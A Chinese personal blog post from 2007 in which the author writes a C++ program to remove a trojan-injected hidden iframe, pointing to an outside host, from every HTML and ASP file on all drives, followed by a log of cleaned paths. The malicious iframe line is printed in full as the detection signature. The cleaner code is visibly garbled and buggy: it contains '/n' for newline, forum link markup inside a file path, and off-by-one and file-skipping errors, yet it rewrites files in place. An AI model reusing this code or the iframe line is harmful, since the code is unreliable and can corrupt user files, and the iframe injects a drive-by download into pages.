一个小小的杀毒程序

最新推荐文章于 2023-08-22 15:42:19 发布

andylin02

最新推荐文章于 2023-08-22 15:42:19 发布

阅读量905

点赞数

分类专栏： Virus 文章标签： string internet path c file iostream

Virus 专栏收录该内容

7 篇文章 0 订阅

订阅专栏

一个小小的杀毒程序
今天机子中毒了,郁闷,原来是一个木马,所有htm/html/asp/aspx/shtml都被感染!没办法杀毒也查不出来,无奈就自己杀吧!写了一个杀毒的程序!呵呵,还能用,不过也发现一写问题以前老师说文件的一行最大是1024个字符,以前我对此深信不疑,今天做这个才发现不见得都是,一写网页的代码中就能超过1024有的是很多,幸亏我还有怀疑精神啊,呵呵,就改了,
下面是杀毒的源代码:

//coded by winc_co

//
// coded by winc_fan 2007-4-27
//
//
#include <io.h>
#include <stdio.h>
#include <direct.h>
#include <ctype.h>
#include <iostream>
#include <fstream>
#include <string>
using namespace std;

// 感染的木马
std::string virus = "<iframe src=http://pp.900666.com/abc.htm width=0 height=0></iframe>";
//方法声明

void DirPath();
void inter();
void killer(std::string path);
bool chkFileEx(std::string filename);
void init();

void main()
{
inter();
init();

cout << "............杀毒完成........." << endl;
}

//开始界面设计
void inter()
{
cout << "======================================================" << endl;
cout << "欢迎使用winc_co的杀毒软件！" << endl;
cout << "杀毒开始..........." << endl;
}

///浏览目录
void DirPath(std::string path)
{
if(chkFileEx(path))
{
  cout << "找到目标文件" << endl;
  cout << path << endl;
  killer(path);
}

//定义文件的结构体
int len=path.length();
int idx=path.find_last_of('.');

if(idx==len-1)
  return;

struct _finddata_t c_file; //head file <io.h>
long findFile;

path=path+ "//";
std::string filename=path;
path+="*.*";

findFile = _findfirst(path.c_str(), &c_file);

while( _findnext( findFile, &c_file ) == 0 )
{
  if(chkFileEx(c_file.name))
  {
   cout << "找到目标文件" << endl;
   cout << filename+c_file.name << endl;
   killer(filename+c_file.name);

   continue;
  }

  DirPath(filename+c_file.name);
}

_findclose( findFile );
}

//程序的开始。。。。。
void init()
{
//获得盘符的根目录
std::string dsk;

for(int drive = 1; drive <= 26; drive++ )
{
  //head file <direct.h>
  if( !_chdrive( drive ) )
   dsk=drive + 'A' - 1;
  dsk+=":";

  DirPath(dsk);
}
}

//处理感染文件
void killer(std::string path)
{
fstream log;//日志文件
fstream temp; //临时文件
fstream target;//目标文件

std::string tempfile= path.substr(0,path.find_last_of('//'))+"[url=file:temp.txt]//temp.txt[/url]";

temp.open(tempfile.c_str(),std::ios::out);
target.open(path.c_str());

char buf[511025];

std::string contp; // 临时文件的存放的内容
while(!target.eof())
{
  target.getline(buf,511024);
  std::string cockhorse; //木马
  cockhorse=buf;

  //处理病毒的关键步骤跳过木马
  if(cockhorse.find(virus)!=-1L)
  {
   int i=cockhorse.find(virus);

   if(i!=0)
   {
    contp+=cockhorse.substr(0,i-1);
   }

   continue;
  }

  contp+=buf;
  contp+='/n'; //添加换行
}

//保存内容
temp.write(contp.c_str(),contp.length());
temp.close();
target.close();

//删除目标文件，用临时文件代替
remove(path.c_str());
rename(tempfile.c_str(),path.c_str());

//记录日志
log.open("c://log.txt",std::ios::out|std::ios::in|std::ios::app);
std::string logstr=path+'/n';
path+='/n';

log.write(path.c_str(),path.length());
log.close();
}

//后缀名判断
bool chkFileEx(std::string filename)
{
std::string exname;
int ex=filename.find_last_of(".");

if(ex==-1)
return false;
exname=filename.substr(ex);

//后缀名的检验
if(exname==".html"||exname==".aspx"||exname==".htm"||exname==".asp"||exname==".shtml")
return true;

return false;
}

//=========================================================

日志:

C:/Documents and Settings/_CSU/Application Data/Mozilla/Firefox/Profiles/l0zhbjov.default/bookmarkbackups/bookmarks-2004-10-15.html
C:/Documents and Settings/_CSU/Application Data/Mozilla/Firefox/Profiles/l0zhbjov.default/bookmarkbackups/bookmarks-2007-04-15.html
C:/Documents and Settings/_CSU/Application Data/Mozilla/Firefox/Profiles/l0zhbjov.default/bookmarks.html
C:/Documents and Settings/_CSU/Local Settings/Temporary Internet Files/Content.IE5/GDMG02V1/pv[1].aspx
C:/Documents and Settings/_CSU/Local Settings/Temporary Internet Files/Content.IE5/GDMG02V1/welcome[1].shtml
C:/Documents and Settings/_CSU/Local Settings/Temporary Internet Files/Content.IE5/MUGLZBF5/s[1].aspx
C:/Documents and Settings/_CSU/Local Settings/Temporary Internet Files/Content.IE5/MUGLZBF5/s[2].aspx
C:/Documents and Settings/_CSU/Local Settings/Temporary Internet Files/Content.IE5/YU4SUCI0/upload[1].html
C:/Documents and Settings/_CSU/Local Settings/Temporary Internet Files/Content.IE5/YU4SUCI0/Url_Count[2].aspx
C:/Inetpub/iissamples/sdk/asp/applications/Application_JScript.asp
C:/Inetpub/iissamples/sdk/asp/applications/Application_VBScript.asp
C:/Inetpub/iissamples/sdk/asp/applications/Session_JScript.asp
C:/Inetpub/iissamples/sdk/asp/applications/Session_VBScript.asp
C:/Inetpub/iissamples/sdk/asp/components/AdRotator_JScript.asp
C:/Inetpub/iissamples/sdk/asp/components/AdRotator_VBScript.asp
C:/Inetpub/iissamples/sdk/asp/components/BrowserCap_JScript.asp
C:/Inetpub/iissamples/sdk/asp/components/BrowserCap_VBScript.asp
C:/Inetpub/iissamples/sdk/asp/components/redirect.asp
C:/Inetpub/iissamples/sdk/asp/database/AddDelete_JScript.asp
C:/Inetpub/iissamples/sdk/asp/database/AddDelete_VBScript.asp
C:/Inetpub/iissamples/sdk/asp/database/LimitRows_JScript.asp
C:/Inetpub/iissamples/sdk/asp/database/LimitRows_VBScript.asp
C:/Inetpub/iissamples/sdk/asp/database/MultiScrolling_JScript.asp
C:/Inetpub/iissamples/sdk/asp/database/MultiScrolling_VBScript.asp
C:/Inetpub/iissamples/sdk/asp/database/SimpleQuery_JScript.asp
C:/Inetpub/iissamples/sdk/asp/database/SimpleQuery_VBScript.asp
C:/Inetpub/iissamples/sdk/asp/database/StoredProcedures_JScript.asp
C:/Inetpub/iissamples/sdk/asp/database/StoredProcedures_VBScript.asp